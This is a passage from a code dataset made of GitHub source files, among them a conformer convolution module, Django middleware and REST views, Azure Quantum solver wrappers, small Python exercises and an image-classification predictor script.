== 0\n        padding = (kernel_size - 1) // 2\n\n        self.depthwise_conv = nn.Conv1d(\n            channels,\n            channels,\n            kernel_size,\n            stride=1,\n            padding=padding,\n            groups=channels,\n            bias=bias,\n        )\n\n        assert norm in ['batch_norm', 'layer_norm']\n        if norm == \"batch_norm\":\n            self.use_layer_norm = False\n            self.norm = nn.BatchNorm1d(channels)\n        else:\n            self.use_layer_norm = True\n            self.norm = LayerNorm(channels)\n\n        self.pointwise_conv2 = nn.Conv1d(\n            channels,\n            channels,\n            kernel_size=1,\n            stride=1,\n            padding=0,\n            bias=bias,\n        )\n        self.activation = Swish()\n\n    def forward(\n        self,\n        x: torch.Tensor,\n        mask_pad: Optional[torch.Tensor] = None,\n    ) -> Tuple[torch.Tensor, torch.Tensor]:\n        \"\"\"Compute convolution module.\n        Args:\n            x (torch.Tensor): Input tensor (#batch, time, channels).\n            mask_pad (torch.Tensor): used for batch padding\n        Returns:\n            torch.Tensor: Output tensor (#batch, time, channels).\n        \"\"\"\n        # exchange the temporal dimension and the feature dimension\n        x = x.transpose(1, 2)\n\n        zero_mask_pad = mask_pad.unsqueeze(1).repeat(1, x.size(1), 1)\n        # mask batch padding\n        if mask_pad is not None:\n            x.masked_fill_(zero_mask_pad, 0.0)\n\n        # GLU mechanism\n        x = self.pointwise_conv1(x)  # (batch, 2*channel, time)\n        x = nn.functional.glu(x, dim=1)  # (batch, channel, time)\n\n        # 1D Depthwise Conv\n        x = self.depthwise_conv(x)\n        if self.use_layer_norm:\n            x = x.transpose(1, 2)\n        x = self.activation(self.norm(x))\n        if self.use_layer_norm:\n            x = x.transpose(1, 2)\n        x = self.pointwise_conv2(x)\n        # mask batch padding\n        if zero_mask_pad is not None:\n            x.masked_fill_(zero_mask_pad, 0.0)\n\n        return x.transpose(1, 2)\n","repo_name":"fengpeng-yue/speech-to-speech-translation","sub_path":"fairseq/modules/convolution.py","file_name":"convolution.py","file_ext":"py","file_size_in_byte":3234,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"77"}
+{"seq_id":"37810585547","text":"# coding: utf-8\n\nimport time\n\nfrom django.core.cache import cache\nfrom django.shortcuts import render\nfrom django.utils.deprecation import MiddlewareMixin\n\n\ndef simple_middleware(view_func):\n    def middleware(request):\n        print('exec ----> process_request')\n        response = view_func(request)  # views 函数在这里执行\n        print('exec ----> process_response')\n        return response\n    return middleware\n\n\nclass BlockMiddleware(MiddlewareMixin):\n    '''\n    -------------------\n    1. 1533096000.00   t0\n    2. 1533096000.37   t1\n    3. 1533096000.95   t2\n    -------------------\n    4. 1533096000.99   now\n    -------------------\n    5. 1533096002.03\n    6. 1533096003.03\n    7. 1533096004.03\n    8. 1533096005.03\n    9. 1533096006.03\n    '''\n    def process_request(self, request):\n        # 取出用户 IP，并设置相关 Key\n        user_ip = request.META['REMOTE_ADDR']\n        request_key = 'RequestTime-%s' % user_ip\n        block_key = 'Blocker-%s' % user_ip\n\n        # 检查用户是否被封禁\n        if cache.get(block_key):\n            return render(request, 'blockers.html')\n\n        # 取出当前时间和历史访问时间\n        now = time.time()\n        t0, t1, t2 = cache.get(request_key, [0, 0, 0])\n\n        if (now - t0) < 1:\n            # 访问过频，封禁一天\n            cache.set(block_key, 1, 86400)\n            return render(request, 'blockers.html')\n        else:\n            # 更新访问时间\n            cache.set(request_key, [t1, t2, now])\n","repo_name":"Nan-lgg/bbs","sub_path":"common/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"77"}
+{"seq_id":"29301063809","text":"#Cajero Automático\nusuario_luciano = 10334151\nclave_del_usuario_luciano = 1803\n\n\nsaldogg = 100000\n\nsaldosuperlol = 1000000\n\nCC = 1\nwhile CC <= 3:\n    usuario_del_cajero_luciano = int(input(\"Ingresa el Usuario, por favor estimado: \"))\n    clave_del_cajero_luciano= int(input(\"Ingresa la clave, por favor estimado: \"))\n\n\n    if ((usuario_del_cajero_luciano == usuario_luciano) and (clave_del_cajero_luciano == clave_del_usuario_luciano)):\n      CC = 4\n    else:\n\n      print(\"clave invalida\")\n    if (CC == 3):\n\n        print(\"tarjeta bloqueada\")\n        break\n    CC = CC +1\n\nelse:\n         print(\"100.000\")\n         retiro_del_money = int(input(\"Cuando dinero deseas retirar: \"))\n\n         if(retiro_del_money > 100000):\n           print(\"monto excede, no es posible retirar. lo sentimos gg\")\n         if(retiro_del_money < 0):\n           print(\"monto invalido, no es posible retirar. lo sentimos gg\")\n\n         else:\n             if((retiro_del_money <= 100000) or (retiro_del_money == 0)):\n               print()\n\nresultado_first_luciano= saldogg - retiro_del_money\nresultado_two_luciano= saldosuperlol - retiro_del_money\n\nprint(\"saldo cuenta=\", resultado_first_luciano, \",\" \"saldo cajero=\",resultado_two_luciano) ","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej10/hito1_ej10_36ea6ee8f9e2eab6e1b30301333d274f.py","file_name":"hito1_ej10_36ea6ee8f9e2eab6e1b30301333d274f.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"14838851658","text":"##\r\n# Copyright (c) Microsoft Corporation. All rights reserved.\r\n# Licensed under the MIT License.\r\n##\r\nimport logging\r\nimport warnings\r\n\r\nfrom typing import Optional, List\r\nfrom azure.quantum import Workspace\r\nfrom azure.quantum.target import Solver\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\n__all__ = [\"TabuSearch\", \"PticmSolver\", \"PathRelinkingSolver\"]\r\n\r\n\r\nclass TabuSearch(Solver):\r\n    target_names = (\"1qbit.tabu\",)\r\n\r\n    def __init__(\r\n        self,\r\n        workspace: Workspace,\r\n        name: str = \"1qbit.tabu\",\r\n        improvement_cutoff: Optional[int] = None,\r\n        improvement_tolerance: Optional[float] = None,\r\n        seed: Optional[int] = None,\r\n        tabu_tenure: Optional[int] = None,\r\n        tabu_tenure_rand_max: Optional[int] = None,\r\n        timeout: Optional[int] = None,\r\n        **kwargs\r\n    ):\r\n        \"\"\"The constructor of a Tabu Search solver.\r\n\r\n        An iterative heuristic algorithm that uses local search techniques\r\n        to solve a QUBO problem. It starts from a random solution and looks\r\n        for an improved solution in the solution's neighborhood which includes\r\n        all possible single flips.\r\n        The algorithm stops when it reaches a stopping\r\n        criterion, such as a specified number of consecutive iterations without\r\n        improvement.\r\n\r\n        For more information please visit:\r\n        https://portal.1qbit.com/docs/model/tabusolver\r\n\r\n        :param improvement_cutoff:\r\n            The number of iterations that\r\n            the solver attempts with no improvement\r\n            before stopping. Default: 0\r\n        :param improvement_tolerance:\r\n            The tolerance value that determines if a solution is an improvement\r\n            over the previous iteration. Default: 1e-9\r\n        :param seed:\r\n            The seed in the random number generator to control for deterministic\r\n            results. Default: a random integer\r\n        :param tabu_tenure:\r\n            The tenure prevents a flipped\r\n            variable from being flipped again during\r\n            the iterations. Default: 0\r\n        :param tabu_tenure_rand_max:\r\n            The upper limit of the exclusive range of random integers.\r\n            Valid value range: 1 to 200,000. Default: 0\r\n        :param timeout:\r\n            The duration in ms the solver\r\n            runs before exiting. If the value is set\r\n            to 0, it does not time out. Default: 0\r\n        \"\"\"\r\n        super().__init__(\r\n            workspace=workspace,\r\n            provider_id=\"1qbit\",\r\n            name=name,\r\n            input_data_format=\"microsoft.qio.v2\",\r\n            output_data_format=\"microsoft.qio-results.v1\",\r\n            nested_params=False,\r\n            force_str_params=True,\r\n            **kwargs\r\n        )\r\n\r\n        self.set_one_param(\"improvement_cutoff\", improvement_cutoff)\r\n        self.set_one_param(\"improvement_tolerance\", improvement_tolerance)\r\n        self.set_one_param(\"seed\", seed)\r\n        self.set_one_param(\"tabu_tenure\", tabu_tenure)\r\n        self.set_one_param(\"tabu_tenure_rand_max\", tabu_tenure_rand_max)\r\n        self.set_one_param(\"timeout\", timeout)\r\n\r\n\r\nclass PticmSolver(Solver):\r\n    target_names = (\"1qbit.pticm\",)\r\n\r\n    def __init__(\r\n        self,\r\n        workspace: Workspace,\r\n        name: str = \"1qbit.pticm\",\r\n        auto_set_temperatures: Optional[bool] = None,\r\n        elite_threshold: Optional[float] = None,\r\n        frac_icm_thermal_layers: Optional[float] = None,\r\n        frac_sweeps_fixing: Optional[float] = None,\r\n        frac_sweeps_idle: Optional[float] = None,\r\n        frac_sweeps_stagnation: Optional[float] = None,\r\n        goal: Optional[str] = None,\r\n        high_temp: Optional[float] = None,\r\n        low_temp: Optional[float] = None,\r\n        max_samples_per_layer: Optional[int] = None,\r\n        max_total_sweeps: Optional[int] = None,\r\n        manual_temperatures: Optional[List[float]] = None,\r\n        num_elite_temps: Optional[int] = None,\r\n        num_replicas: Optional[int] = None,\r\n        num_sweeps_per_run: Optional[int] = None,\r\n        num_temps: Optional[int] = None,\r\n        perform_icm: Optional[bool] = None,\r\n        scaling_type: Optional[str] = None,\r\n        seed: Optional[int] = None,\r\n        var_fixing_type: Optional[str] = None,\r\n        **kwargs\r\n    ):\r\n        \"\"\"The constructor of a PTICM solver.\r\n\r\n        The parallel tempering with isoenergetic\r\n        cluster moves (PTICM) solver is\r\n        a Monte Carlo approach to solving QUBO problems.\r\n        In this algorithm, multiple\r\n        replicas of the original system,\r\n        each with a different initial state, are\r\n        simulated at different temperatures simultaneously. The replicas at\r\n        neighboring temperatures are periodically swapped based on a Metropolis\r\n        criterion. These swaps allow\r\n        different replicas to do a random walk in the\r\n        temperature space, thereby, efficiently overcoming energy barriers.\r\n\r\n        For more information please visit:\r\n        https://portal.1qbit.com/docs/model/pticmsolver\r\n\r\n        :param auto_set_temperatures:\r\n            This defines whether the temperature parameters are auto-calculated\r\n            or not. Set it to True for\r\n            auto-calculating and False for customizing\r\n            the temperature parameters. Default: True\r\n        :param elite_threshold:\r\n            The fraction of the best solutions used for the var_fixing_type\r\n            parameter with value SPVAR. Default: 0.3\r\n        :param frac_icm_thermal_layers:\r\n            The fraction of temperatures for the iso-energetic cluster moves.\r\n            Default: 0.5\r\n        :param frac_sweeps_fixing:\r\n            The fraction of sweeps used for fixing the QUBO variables.\r\n            Default: 0.15\r\n        :param frac_sweeps_idle:\r\n            The fraction of sweeps to wait before fixing the QUBO variables.\r\n            Default: 1.0\r\n        :param frac_sweeps_stagnation:\r\n            The fraction of sweeps without improvement that triggers a restart.\r\n            Default: 1.0\r\n        :param goal:\r\n            This defines whether the solver is used for optimizing or sampling.\r\n            Valid values: \"OPTIMIZE\" or \"SAMPLE\". Default: \"OPTIMIZE\"\r\n        :param high_temp:\r\n            The highest temperature of a replica. Set the auto_set_temperatures\r\n            parameter to False to use this feature. Default: 2\r\n        :param low_temp:\r\n            The lowest temperature of a replica. Set the auto_set_temperatures\r\n            parameter to False to use this feature. Default: 0.2\r\n        :param max_samples_per_layer:\r\n            The maximum number of samples collected per replica. Default: 10\r\n        :param max_total_sweeps:\r\n            The total number of sweeps before termination.\r\n            Default: num_sweeps_per_run * 10\r\n        :param manual_temperatures:\r\n            An array of a custom temperature schedule which includes the high,\r\n            intermediate, and low temperature values for the replicas. Set the\r\n            auto_set_temperatures parameter to False to use this feature.\r\n        :param num_elite_temps:\r\n            The number of elite temperatures used for fixing the variables with\r\n            persistency. Default = 4\r\n        :param num_replicas:\r\n            The number of replicas at each temperature. Default: 2\r\n        :param num_sweeps_per_run:\r\n            The number of Monte Carlo sweeps. Default: 100\r\n        :param num_temps:\r\n            The number of temperatures including the highest and the lowest\r\n            temperatures. Set the auto_set_temperatures parameter to False to\r\n            use this feature. Default: 30\r\n        :param perform_icm:\r\n            This parameter is deprecated. Default: None\r\n        :param scaling_type:\r\n            This defines whether the QUBO problem\r\n            is automatically scaled or not.\r\n            \"MEDIAN\" means it's automatically\r\n            scaled, and \"NO_SCALING\" means it's\r\n            not. Valid values: \"MEDIAN\" or \"NO_SCALING\"\r\n        :param seed:\r\n            The seed in the random number generator to control for deterministic\r\n            results. Default: a random integer\r\n        :param var_fixing_type:\r\n            This decides whether the values of QUBO variables are fixed or not.\r\n            You can fix them with \"PERSISTENCY\" or\r\n            \"SPVAR\" types. \"NO_FIXING\" means the\r\n            variables are not fixed. If you\r\n            choose \"PERSISTENCY\" or \"SPVAR\", also\r\n            set the frac_sweeps_fixing and\r\n            frac_sweeps_idle parameters to a number\r\n            less than one. Valid values: \"PERSISTENCY\", \"SPVAR\" or \"NO_FIXING\".\r\n            Default: \"NO_FIXING\"\r\n        \"\"\"\r\n        if perform_icm is not None:\r\n            warnings.warn(DeprecationWarning(\"The perform_icm parameter has been deprecated and will be ignored.\"))\r\n\r\n        super().__init__(\r\n            workspace=workspace,\r\n            provider_id=\"1qbit\",\r\n            name=name,\r\n            input_data_format=\"microsoft.qio.v2\",\r\n            output_data_format=\"microsoft.qio-results.v1\",\r\n            nested_params=False,\r\n            force_str_params=True,\r\n            **kwargs\r\n        )\r\n\r\n        self.set_one_param(\"auto_set_temperatures\", auto_set_temperatures)\r\n        self.set_one_param(\"elite_threshold\", elite_threshold)\r\n        self.set_one_param(\"frac_icm_thermal_layers\", frac_icm_thermal_layers)\r\n        self.set_one_param(\"frac_sweeps_fixing\", frac_sweeps_fixing)\r\n        self.set_one_param(\"frac_sweeps_idle\", frac_sweeps_idle)\r\n        self.set_one_param(\"frac_sweeps_stagnation\", frac_sweeps_stagnation)\r\n        self.set_one_param(\"goal\", goal)\r\n        self.set_one_param(\"high_temp\", high_temp)\r\n        self.set_one_param(\"low_temp\", low_temp)\r\n        self.set_one_param(\"max_samples_per_layer\", max_samples_per_layer)\r\n        self.set_one_param(\"max_total_sweeps\", max_total_sweeps)\r\n        self.set_one_param(\"manual_temperatures\", manual_temperatures)\r\n        self.set_one_param(\"num_elite_temps\", num_elite_temps)\r\n        self.set_one_param(\"num_replicas\", num_replicas)\r\n        self.set_one_param(\"num_sweeps_per_run\", num_sweeps_per_run)\r\n        self.set_one_param(\"num_temps\", num_temps)\r\n        self.set_one_param(\"scaling_type\", scaling_type)\r\n        self.set_one_param(\"seed\", seed)\r\n        self.set_one_param(\"var_fixing_type\", var_fixing_type)\r\n\r\n\r\nclass PathRelinkingSolver(Solver):\r\n    target_names = (\"1qbit.pathrelinking\",)\r\n\r\n    def __init__(\r\n        self,\r\n        workspace: Workspace,\r\n        name: str = \"1qbit.pathrelinking\",\r\n        distance_scale: Optional[float] = None,\r\n        greedy_path_relinking: Optional[bool] = None,\r\n        ref_set_count: Optional[int] = None,\r\n        seed: Optional[int] = None,\r\n        timeout: Optional[int] = None,\r\n        **kwargs\r\n    ):\r\n        \"\"\"The constructor of a Path-relinking Search solver.\r\n\r\n        The path-relinking algorithm is a heuristic algorithm that uses the\r\n        tabu search as a subroutine to solve a QUBO problem. The algorithm\r\n        starts from a set of elite solutions found by the tabu search. It\r\n        then constructs a path between each pair of elite solutions, selects\r\n        one of the solutions along the path, and repeats the tabu search. If\r\n        the tabu search finds a distinct solution that is better than the\r\n        current worst elite solution, the elite solutions set is updated with\r\n        the new improved solution. This whole procedure is repeated until the\r\n        algorithm meets a stopping condition.\r\n\r\n        For more information please visit:\r\n        https://portal.1qbit.com/docs/model/pathrelinkingsolver\r\n\r\n        :param distance_scale:\r\n            The minimum distance from the initiating and guiding solutions for\r\n            constructing the candidate solution list. The highest quality\r\n            solution in the candidate solution list is then selected for\r\n            improvement. Valid values: 0.0 to 0.5. Default: 0.33\r\n        :param greedy_path_relinking:\r\n            When you use the path-relinking solver there are two ways you can\r\n            generate a path that leads to the solution:\r\n            one is the greedy function\r\n            and the other operates in a random matter. If you set the this\r\n            parameter to true, the solver will use the greedy function. If you\r\n            set it to false, it will use the random method. Default: False\r\n        :param ref_set_count:\r\n            The number of initial elite solutions to be generated by the tabu\r\n            search algorithm. Valid values: Greater than 1. Default: 10\r\n        :param seed:\r\n            The seed in the random number generator to control for deterministic\r\n            results. Default: a random integer\r\n        :param timeout:\r\n            The duration in ms the solver runs\r\n            before exiting. If the value is set\r\n            to 0, it does not time out. Default: 0\r\n        \"\"\"\r\n        super().__init__(\r\n            workspace=workspace,\r\n            provider_id=\"1qbit\",\r\n            name=name,\r\n            input_data_format=\"microsoft.qio.v2\",\r\n            output_data_format=\"microsoft.qio-results.v1\",\r\n            nested_params=False,\r\n            force_str_params=True,\r\n            **kwargs\r\n        )\r\n\r\n        self.set_one_param(\"distance_scale\", distance_scale)\r\n        self.set_one_param(\"greedy_path_relinking\", greedy_path_relinking)\r\n        self.set_one_param(\"ref_set_count\", ref_set_count)\r\n        self.set_one_param(\"seed\", seed)\r\n        self.set_one_param(\"timeout\", timeout)\r\n","repo_name":"nadinem100/iQuHackUnityGame","sub_path":"Library/PythonInstall/lib/python3.7/site-packages/azure/quantum/target/oneqbit/solvers.py","file_name":"solvers.py","file_ext":"py","file_size_in_byte":13648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"72542422648","text":"import hashlib\nclass Transaction():\n    def __init__(self, Txn_msg, timestamp):\n        '''\n            -Txn_msg: IDx sends IDy 10 BTC\n            -timestamp: maintains Tnx creation time\n            -fromID: Node that created the Tnx\n            -toID: Dest Node ID\n            -coins: amount of transaction\n            -TnxID: Hash of (Tnx||timestamp)\n                makes it unique\n        ''' \n        self.Txn_msg = Txn_msg\n        self.timestamp = timestamp\n        tokens = Txn_msg.split()\n        self.fromID = None\n        self.toID = None\n        self.coins = None\n        if tokens[1]==\"init\":\n            #Used for initilazing the node with initial fund\n            #IDx init 10 BTC\n            self.fromID = \"coinbase\"\n            self.toID = tokens[0]\n            self.coins = int(tokens[2])\n        elif tokens[1]==\"mines\":\n            #IDx mines 10 BTC\n            self.fromID = \"coinbase\"\n            self.toID = tokens[0]\n            self.coins = int(tokens[2])\n        else:\n            #IDx pays IDy 10 BTC\n            self.fromID = tokens[0]\n            self.toID = tokens[2]\n            self.coins = int(tokens[3])\n        self.TxnID = self.setID(Txn_msg,timestamp)\n        pass\n    def setID(self, Txn, timestamp):\n        concat_tnx = Txn+\" \"+str(timestamp)\n        result = hashlib.sha256(concat_tnx.encode('utf-8'))\n        return result.hexdigest\n    def __repr__(self):\n        data = (self.TxnID, self.fromID, self.toID, self.coins)\n        return \"<Txn %s: From=%s, To=%s, amount=%s>\" %data","repo_name":"rajharshiitb/Simulation-of-a-P2P-Cryptocurrency-Network","sub_path":"transaction.py","file_name":"transaction.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"35566442293","text":"import os\n\nfrom absl import app, flags\n\nimport dual_net\nimport preprocessing\nimport utils\n\nflags.DEFINE_integer('examples_to_validate', 50 * 2048,\n                     'Number of examples to run validation on.')\n\nflags.DEFINE_string('validate_name', 'holdout',\n                    'Name of validation set (i.e. holdout or human).')\n\nflags.DEFINE_bool('expand_validation_dirs', True,\n                  'Whether to expand the input paths by globbing. If false, '\n                  'directly read and validate on the given files.')\n\n# From dual_net.py\nflags.declare_key_flag('work_dir')\nflags.declare_key_flag('use_tpu')\nflags.declare_key_flag('num_tpu_cores')\n\nFLAGS = flags.FLAGS\n\n\ndef validate(*tf_records):\n    \"\"\"Validate a model's performance on a set of holdout data.\"\"\"\n    if FLAGS.use_tpu:\n        def _input_fn(params):\n            return preprocessing.get_tpu_input_tensors(\n                params['train_batch_size'], params['input_layout'], tf_records,\n                filter_amount=1.0)\n    else:\n        def _input_fn():\n            return preprocessing.get_input_tensors(\n                FLAGS.train_batch_size, FLAGS.input_layout, tf_records,\n                filter_amount=1.0, shuffle_examples=False)\n\n    steps = FLAGS.examples_to_validate // FLAGS.train_batch_size\n    if FLAGS.use_tpu:\n        steps //= FLAGS.num_tpu_cores\n\n    estimator = dual_net.get_estimator()\n    with utils.logged_timer(\"Validating\"):\n        estimator.evaluate(_input_fn, steps=steps, name=FLAGS.validate_name)\n\n\ndef main(argv):\n    \"\"\"Validate a model's performance on a set of holdout data.\"\"\"\n    _, *validation_paths = argv\n    if FLAGS.expand_validation_dirs:\n        tf_records = []\n        with utils.logged_timer(\"Building lists of holdout files\"):\n            dirs = validation_paths\n            while dirs:\n                d = dirs.pop()\n                for path, newdirs, files in os.walk(d):\n                    tf_records.extend(os.path.join(path, f) for f in files if f.endswith('.zz'))\n                    dirs.extend(os.path.join(path, d) for d in newdirs)\n\n    else:\n        tf_records = validation_paths\n\n    if not tf_records:\n        print(\"Validation paths:\", validation_paths)\n        print([\"{}:\\n\\t{}\".format(p, os.listdir(p)) for p in validation_paths])\n        raise RuntimeError(\"Did not find any holdout files for validating!\")\n    validate(*tf_records)\n\n\nif __name__ == \"__main__\":\n    app.run(main)\n","repo_name":"tensorflow/minigo","sub_path":"validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":2423,"program_lang":"python","lang":"en","doc_type":"code","stars":3409,"dataset":"github-code","pt":"77"}
+{"seq_id":"26223792457","text":"from django.shortcuts import render\n\nfrom django.http import HttpResponse, JsonResponse\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework.parsers import JSONParser\nfrom .models import category\nfrom .serializers import categorySerialiazer\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rest_framework.decorators import authentication_classes,permission_classes,api_view\nfrom rest_framework.authentication import TokenAuthentication\nfrom rest_framework.permissions import IsAuthenticated,IsAdminUser\n\n\n@api_view(['GET','POST'])\n@authentication_classes([TokenAuthentication])\n@permission_classes([IsAuthenticated,IsAdminUser])\ndef categ(request):\n    if request.method == \"GET\":\n        categList = category.objects.all()\n        serializer = categorySerialiazer(categList, many=True)\n        return JsonResponse(serializer.data, safe=False)\n    elif request.method == \"POST\":\n        json_parser = JSONParser()\n        categData = json_parser.parse(request)\n        categData['user_id'] = request.user.id\n        serializer = categorySerialiazer(data=categData)\n        if serializer.is_valid():\n            serializer.save()\n            return JsonResponse(serializer.data, status=status.HTTP_201_CREATED)\n        else:    \n            return JsonResponse(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n@api_view(['GET','PUT','DELETE'])\n@authentication_classes([TokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef catedetails(request, id):\n    try:\n        catInstance = category.objects.get(id=id)\n    except category.DoesNotExist as e:\n        return JsonResponse({\"error\": \"No data found\" }, status=status.HTTP_404_NOT_FOUND)\n    if request.method == \"GET\":\n        serializer = categorySerialiazer(catInstance)\n        return JsonResponse(serializer.data)\n    elif request.method == \"PUT\":\n        json_parser = JSONParser()\n        categData = json_parser.parse(request)\n        serializer = categorySerialiazer(catInstance, data=categData)\n        if serializer.is_valid():\n            serializer.save()\n            return JsonResponse(serializer.data, status=status.HTTP_200_OK)\n        else:    \n            return JsonResponse(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n    elif request.method == \"DELETE\":\n        catInstance.delete()\n        return HttpResponse(status=status.HTTP_204_NO_CONTENT)\n\n@api_view(['GET'])\ndef categList(request):\n    categList = category.objects.all()\n    serializer = categorySerialiazer(categList, many=True)\n    return JsonResponse(serializer.data, safe=False)                \n  ","repo_name":"amitgupta1985/albums","sub_path":"category/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"17812740809","text":"import cv2 as cv\n\nimg = cv.imread(\"C:\\ComputerVision\\source\\ch4\\soccer.jpg\")\n\n# 컬러 영상 -> 명암 영상\ngray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\ngray = cv.resize(gray, dsize = (0,0), fx = 0.3, fy = 0.3)\n\n# sobel 함수, x 방향 연산자 적용 => 수직 방향 에지가 더 선명해짐\n# cv.Sobel(영상, 결과 영상을 32bit 실수 맴에 저장, x 방향 연산자 , x 방향 연산자, 3X3 크기 사용 지정)\ngrad_x = cv.Sobel(gray, cv.CV_32F, 1, 0, ksize = 3)\n\n# sobel 함수, y 방향 연산자 적용 => 수평 방향 에지가 더 선명해짐\n# cv.Sobel(영상, 결과 영상을 32bit 실수 맴에 저장, y 방향 연산자 , y 방향 연산자, 3X3 크기 사용 지정)\ngrad_y = cv.Sobel(gray, cv.CV_32F, 0, 1, ksize = 3)\n\n# 음수가 포함된 맵에 절댓값을 취해 양수로 변환\n# convertScaleAbs(): 부호 없는 8bit 형 CV_8U를 만듦, 크기가 0보다 작으면 0으로, 255를 넘으면 255로 바꿔 기록\nsobel_x = cv.convertScaleAbs(grad_x)\nsobel_y = cv.convertScaleAbs(grad_y)\n\n# addWeighted(img1, a, img2, b, c): img1xa + img2xb + c 계산\n# img1, 2가 같은 데이터형이어야 함\nedge_strength = cv.addWeighted(sobel_x, 0.5, sobel_y, 0.5,0)\n\ncv.imshow('Original', gray)\ncv.imshow('sobelx', sobel_x)\ncv.imshow('sobely', sobel_y)\ncv.imshow('edgh strength',edge_strength)\n\ncv.waitKey()\ncv.destroyAllWindows()","repo_name":"nowuri/ComputerVisionStudy","sub_path":"ch_4/4_1.py","file_name":"4_1.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"15088437936","text":"#!/usr/bin/python3\n\nwith open('4.in') as f:\n    groups = f.read().split('\\n\\n')\n\nclass Board():\n    def __init__(self, b):\n        self.board = [[int(i) for i in row.split()] for row in b.splitlines()]\n        self.marked = [[0 for j in range(5)] for i in range(5)]\n        self.wins = 0\n    \n    def mark(self, d):\n        for j in range(5):\n            for i in range(5):\n                if self.board[j][i] == d:\n                    self.marked[j][i] = 1\n                    if all(self.marked[j]) or all([self.marked[y][i] for y in range(5)]):\n                        self.wins += 1\n                        return True\n                    break\n\n    def score(self, d):\n        return d * sum([(not self.marked[j][i])*self.board[j][i] for i in range(5) for j in range(5)])\n\nboards = [Board(i) for i in groups[1:]]\nwinners = []\nds = [int(i) for i in groups[0].split(',')]\n\nfor d in ds:\n    for board in boards:\n        if board.mark(d) and board.wins == 1: winners.append(board.score(d))\n\nprint(winners[0], winners[-1])\n","repo_name":"fridokus/advent-of-code","sub_path":"2021/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"77"}
+{"seq_id":"19858087688","text":"from lib import get_transform, save_config, load_config, split_train_valid_df,make_dataframe\nimport os\nimport glob\nimport torch\nfrom models import get_model\nfrom PIL import Image\nimport numpy as np\nimport pandas as pd\nimport torch.nn as nn\n\n\nclass ScoringService(object):\n    @classmethod\n    def get_model(cls, model_path='../model/', reference_path=None, reference_meta_path=None):\n        \"\"\"Get model method\n\n        Args:\n            model_path (str): Path to the trained model directory.\n            reference_path (str): Path to the reference data.\n            reference_meta_path (str): Path to the meta data.\n\n        Returns:\n            bool: The return value. True for success, False otherwise.\n        \"\"\"\n\n        try:\n            cls.model_s, cls.transform_s  = load_model()\n            return True\n        except:\n            return False\n\n\n    @classmethod\n    def predict(cls, input):\n        \"\"\"Predict method\n\n        Args:\n            input (str): path to the image you want to make inference from\n\n        Returns:\n            dict: Inference for the given input.\n        \"\"\"\n\n        # load an image and get the file name\n        sample_name = os.path.basename(input).split('.')[0]\n\n        img_path = input\n        img_base = Image.open(img_path)\n\n        preds = []\n        with torch.no_grad():\n            for i, model in enumerate(cls.model_s):\n\n                img = cls.transform_s[i]['eval'](img_base)\n                img= img.unsqueeze(0).to('cpu')\n                model.eval()\n                preds.append(model(img).sigmoid().numpy()[0])\n                #preds.append(model(img).numpy()[0])\n\n\n        pred = np.mean(preds, axis=0)\n        df = pd.DataFrame()\n        df['output']=pred\n        df['label']=['{:03}'.format(i) for i in range(len(pred))]\n        df = df.sort_values('output', ascending=False)\n\n        # make prediction\n        label_s = df['label'].to_list()[:10]\n        pred_s = df['output'].to_list()[:10]\n\n        # make output\n        output = {sample_name: label_s}\n        return output #,pred_s\n\n    @classmethod\n    def servey(cls):\n\n        df = make_dataframe(reference_path='../train/',reference_meta_path='../train_meta.json')\n        train_df, valid_df = split_train_valid_df(df,cfg)        \n\ndef load_model():\n    \"\"\"\n    load some model(s)\n    \"\"\"\n\n    fdir = \"../model/*/*\"\n    model_s = []\n    transform_s = []\n    fdir_s = glob.glob(fdir)\n    for fdir in fdir_s:\n        fpath = os.path.join(fdir,'cfg.json')\n        cfg = load_config(fpath)\n        cfg['device'] = 'cpu'\n        model = get_model(cfg, pre_train=False)\n        fpath = os.path.join(fdir,'best_model.pt')\n        model.load_state_dict(torch.load(fpath, map_location=torch.device('cpu')))\n        model_s.append(model)\n        transform = get_transform(cfg['img_size'])\n        transform_s.append(transform)\n    return model_s, transform_s\n\ndf = make_dataframe(reference_path='../train/',reference_meta_path='../train_meta.json')\nsplit_train_valid_df(df,cfg)\n\n\n\n","repo_name":"atnet-ok/deep_ex","sub_path":"predictor3.py","file_name":"predictor3.py","file_ext":"py","file_size_in_byte":2994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
